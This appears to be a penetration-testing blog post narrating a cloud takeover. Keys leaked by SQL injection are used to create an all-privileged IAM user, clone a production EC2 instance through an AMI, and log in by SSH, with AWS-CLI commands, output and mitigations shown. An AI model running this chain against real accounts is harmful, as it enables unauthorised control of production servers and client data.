Menu Security Signal

How I hacked a whole EC2 Network during a Penetration Test

May 15, 2019

Prologue

AWS (Amazon Web Services) is a service that offers a simple method to obtain access to servers, storage, databases and a wide range of application services through the Internet.

More and more it is used by small, medium and large companies to host applications, save images, documents or create their own networks in a fairly simple way, granting a great level of scalability for the user. Security in AWS networks is crucial when developing applications, since there are several vulnerabilities that could expose sensitive information which are essential for an attacker to compromise a business network in the cloud.

This post will not explain in depth the use of the AWS-CLI tool, nor is it intended to serve as a guide for the management of the different services that make up AWS, but will be in charge of detailing certain points of interest. The attached information (images, commands), correspond to a real case, which for privacy reasons will be censored to safeguard the identity of our client.

What do I need to start?

There are different ways in which an attacker would be able to gain access to infrastructure in the cloud, but all of them require obtaining the credentials of the IAM user, which is composed of two parts: the first part is the access_key which is an identifier that makes the user and the second part is the secret_access_key that corresponds to the password needed to authenticate against the AWS.

An attacker could obtain the session keys through the exploitation of vulnerabilities such as SSRF (Server-Side Request Forgery), SQL Injection, Full Source Disclosure, RFI, etc. Next, I will explain how it was possible to obtain both keys through one of the vulnerabilities mentioned above.

A normal day

I was conducting a Penetration Test on an application that was being hosted on AWS. One of the many ways to identify if an application runs within this service, is to make a reverse DNS resolution to the IP of the server.

$ host 52.*.*.*
18*.*.*.*.in-addr.arpa domain name pointer ec2-52-*-*-*.compute-1.amazonaws.com.

As you can see the IP address points to the amazon AWS domain ec2–52-*-*-*.compute-1.amazonaws.com.

During the tests, I was able to verify the existence of a Blind SQL Injection vulnerability in one of the application’s functionalities and through this, I obtained the IAM user keys corresponding to the production area. The keys were stored in plain text inside a table in the database.

I already had the keys and now?

Normally in a Penetration Test, an auditor would settle for only including the keys obtained within the report, it is information that can be too valuable for the client and have a devastating effect if the vulnerability is exploited. But this wasn’t the case with me, I wanted to go a little further and take control of one of the EC2 instances where the application ran. To do this, perform the following steps to achieve access by SSH to the target production server. In the following image, you can see a summary of the methodology used for this purpose.

My first steps with AWS-CLI

AWS-CLI is a console client written in python that allows a user to interact with the different services offered by AWS. Among them, the possibility of operating on the EC2 instances, with AWS-CLI it is possible to create AMI images from a specific instance, start and stop instances, create firewall rules, security groups, among other things.

So the first thing I needed to interact comfortably with AWS was to install the tool.

$ pip install awscli --upgrade --user

Once the installation was complete, I had to configure the credentials that I had previously obtained through the SQL Injection vulnerability.

$ aws configure 
AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE 
AWS Secret Access Key [None]: CENSOREDKEY 
Default region name [None]: us-east-1 
Default output format [None]: json

After adding the user’s keys, I ran the following command, to verify that the credentials were valid and it was not data that had expired long ago.

$ aws s3 ls

This gave me a list of the S3 servers that made up the company. At this point, I’ve taken control over the whole EC2 Network of the Company, and in order to test my new privileges, I decided to try to get into the production EC2 instance where the main system was running.

Privilege Escalation

After I verified that the obtained credentials worked correctly, I set out to enumerate the privileges of the IAM user. For this, use the nimbostratus tool.

Nimbostratus is a tool for fingerprinting and exploitation on AWS networks, among its functionalities it allows creating IAM users, checking privileges, extracting information from the meta-data instance and other interesting functions.

The first thing I did was to verify what were the privileges of the user I was using.

As seen in the image output, the user had permission to execute some limited actions on the EC2 service.

After this action, I tried to create a new user with all privileges, this was possible due to the fact that the IAM user “produccion”, had the permissions of iam:CreateUser.

let’s go to EC2

So far I already had a user with ALL PRIVILEGES on the AWS network, I could authenticate myself comfortably and start playing with the EC2 service. The first thing that I realized I had to do was to identify on which instance the target application ran, for that I had to list all the instances that were on EC2.

$ aws ec2 describe-instances

Through the previous command, I was able to list all the instances belonging to the client. To identify on which instance the application ran, I only had to inquire about the value of the key PublicIpAddress and identify the one that contained the public IP of the target, that simple.

Once I identified the instance, I got its corresponding InstanceId. The following command returns the target instance, making a filter on the InstanceId.

$ aws ec2 describe-instances --instance-ids i-0b9c16863d2b0edef

Command JSON Output:

{
    "Reservations": [
        {
            "Groups": [],
            "Instances": [
                {
                    "VirtualizationType": "hvm",
                    "SecurityGroups": [
                        {
                            "GroupId": "sg-dee387a6",
                            "GroupName": "Client"
                        },
                        {
                            "GroupId": "sg-d05570a8",
                            "GroupName": "Frontend Web Servers SG"
                        },
                        {
                            "GroupId": "sg-4c4a6f34",
                            "GroupName": "RabbitMQ Management Access SG"
                        },
                        {
                            "GroupId": "sg-a3e7aadb",
                            "GroupName": "RDS PROD Access Group"
                        },
                        {
                            "GroupId": "sg-58cbee20",
                            "GroupName": "PROD Redis PHPSession Access SG"
                        }
                    ],
                    "Tags": [
                        {
                            "Value": "Application - PROD",
                            "Key": "Name"
                        },
                        {
                            "Value": "operacion",
                            "Key": "Grupo"
                        }
                    ],
                    "Monitoring": {
                        "State": "disabled"
                    },
                    "BlockDeviceMappings": [
                        {
                            "Ebs": {
                                "DeleteOnTermination": true,
                                "AttachTime": "2017-09-28T20:09:44.000Z",
                                "VolumeId": "vol-03efb6d8259e693ae",
                                "Status": "attached"
                            },
                            "DeviceName": "/dev/sda1"
                        }
                    ],
                    "PrivateIpAddress": "10.0.0.57",
                    "ClientToken": "UDjHC1506629382681",
                    "Hypervisor": "xen",
                    "VpcId": "vpc-7d797f19",
                    "PublicIpAddress": "34.*.*.*",
                    "SubnetId": "subnet-cf3f8de5",
                    "PrivateDnsName": "ip-10-0-0-57.ec2.internal",
                    "ImageId": "ami-11790707",
                    "KeyName": "Frontend-PROD",
                    "StateReason": {
                        "Code": "",
                        "Message": ""
                    },
                    "AmiLaunchIndex": 0,
                    "SourceDestCheck": true,
                    "Architecture": "x86_64",
                    "PublicDnsName": "ec2-34-*-*-*.compute-1.amazonaws.com",
                    "ProductCodes": [],
                    "InstanceType": "t2.micro",
                    "Placement": {
                        "Tenancy": "default",
                        "GroupName": "",
                        "AvailabilityZone": "us-east-1b"
                    },
                    "RootDeviceType": "ebs",
                    "NetworkInterfaces": [
                        {
                            "Description": "Primary network interface",
                            "SourceDestCheck": true,
                            "Attachment": {
                                "AttachTime": "2017-09-28T20:09:43.000Z",
                                "AttachmentId": "eni-attach-3d0239c9",
                                "DeviceIndex": 0,
                                "Status": "attached",
                                "DeleteOnTermination": true
                            },
                            "OwnerId": "147200857443",
                            "Status": "in-use",
                            "Association": {
                                "PublicDnsName": "ec2-34-*-*-*.compute-1.amazonaws.com",
                                "PublicIp": "34.*.*.*",
                                "IpOwnerId": "147200857443"
                            },
                            "NetworkInterfaceId": "eni-2cc990a7",
                            "PrivateIpAddress": "10.0.0.57",
                            "MacAddress": "12:84:db:f6:96:cc",
                            "Groups": [
                                {
                                    "GroupId": "sg-dee387a6",
                                    "GroupName": "Client"
                                },
                                {
                                    "GroupId": "sg-d05570a8",
                                    "GroupName": "Frontend Web Servers SG"
                                },
                                {
                                    "GroupId": "sg-4c4a6f34",
                                    "GroupName": "RabbitMQ Management Access SG"
                                },
                                {
                                    "GroupId": "sg-a3e7aadb",
                                    "GroupName": "RDS PROD Access Group"
                                },
                                {
                                    "GroupId": "sg-58cbee20",
                                    "GroupName": "PROD Redis PHPSession Access SG"
                                }
                            ],
                            "PrivateIpAddresses": [
                                {
                                    "Association": {
                                        "PublicDnsName": "ec2-34-*-*-*.compute-1.amazonaws.com",
                                        "PublicIp": "34.*.*.*",
                                        "IpOwnerId": "147200857443"
                                    },
                                    "PrivateDnsName": "ip-10-0-0-57.ec2.internal",
                                    "Primary": true,
                                    "PrivateIpAddress": "10.0.0.57"
                                }
                            ],
                            "VpcId": "vpc-7d797f19",
                            "Ipv6Addresses": [],
                            "SubnetId": "subnet-cf3f8de5",
                            "PrivateDnsName": "ip-10-0-0-57.ec2.internal"
                        }
                    ],
                    "EbsOptimized": false,
                    "IamInstanceProfile": {
                        "Arn": "arn:aws:iam::147200857443:instance-profile/NGINX-PHPFPM-Role",
                        "Id": "AIPAIHNPLRX25Y7UN5WWW"
                    },
                    "RootDeviceName": "/dev/sda1",
                    "LaunchTime": "2017-09-28T20:09:43.000Z",
                    "InstanceId": "i-0b9c16863d2b0edef",
                    "State": {
                        "Code": 16,
                        "Name": "running"
                    },
                    "StateTransitionReason": ""
                }
            ],
            "ReservationId": "r-0d422c908382bac0b",
            "OwnerId": "147200857443"
        }
    ]
}

Hot-AMI

Until now I had identified the instance in the network and its corresponding InstanceId necessary to perform the following actions that would allow me to take control of the server where the application ran. The next step was to create an AMI from the target instance.

An Amazon Machine Image (AMI) is a special type of virtual appliance that is used to create a virtual machine within the Amazon Elastic Compute Cloud (“EC2”). It serves as the basic unit of deployment for services delivered using EC2.

In AWS it is possible to create an AMI from a specific instance, this can be done hot, that is, without the need to stop the target instance. Which is not recommended, but I could not afford to stop production for a few moments.

$ aws ec2 create-image --instance-id i-0b9c16863d2b0edef --name "SecSignal" --description "an AMI"

Command JSON Output:

{
    "ImageId": "ami-01072cb6ea5fc416a"
}

Always add the public

Done! I already had a clone image of the target instance, so I could proceed to create a new instance in the network, which would be identical to the original at the time I made AMI. But first I needed to add my public key to the EC2 service so that once the instance was running I could connect via SSH.

$ aws ec2 import-key-pair --key-name "SecSignal" --public-key-material file://~/Q3rv0-2018/.ssh/id_rsa.pub

The output of this command can be seen in the following image:

Running the instance

When created a new instance in AWS I had to specify some attributes that I should have obtained from the target instance, such as:

Security Groups

 AWS security groups (SGs) are associated with EC2 instances and provide security at the protocol and port access level. Each security group — working much the same way as a firewall — contains a set of rules that filter traffic coming into and out of an EC2 instance.

For the instance to run without problems, I had to indicate the exact security groups, since the communications could be made to the internal services in the network necessary for the applications to work correctly.

Subnet Id

Indicate the same subnet where the target instance runs.

$ aws ec2 run-instances --image-id ami-01072cb6ea5fc416a --security-group-ids "sg-dee387a6" "sg-d05570a8" "sg-4c4a6f34" "sg-a3e7aadb" "sg-58cbee20" --subnet-id subnet-cf3f8de5 --count 1 --instance-type t2.micro --key-name SecSignal --query "Instances[0].InstanceId"

Command Output:

"i-0c7dc3833673ba995"

As you can see in the command when running the instance, I specify the ImageId of the new AMI created, the corresponding Security-Groups, SubnetId of the original instance and the name of the imported public key. The output of the command returns the InstanceId of the new clone instance.

Connecting by SSH

To connect by SSH I needed to know the public IP that had been granted to the clone instance, this I found out by executing the following command.

$ aws ec2 describe-instances --instance-ids i-0c7dc3833673ba995 --query "Reservations[0].Instances[0].PublicIpAddress"

Command Output:

"18.212.*.*"

You can see the argument –query that allows you to parse the JSON response and query for the value of the PublicIpAddress key.

With the PublicIpAddress exposed I just connected to the server using ssh command as can be seen below:

Mitigations

It is always advisable to avoid storing in plain text, sensitive data such as passwords, keys, tokens, etc. These data should be protected by some type of encryption such as bcrypt.

Additionally, the internal API of AWS should be blocked by a firewall rule to prevent an attacker from accessing the data stored in the meta-data through an SSRF vulnerability.

Finally, it is advisable to use an IAM user with the minimum necessary privileges.

References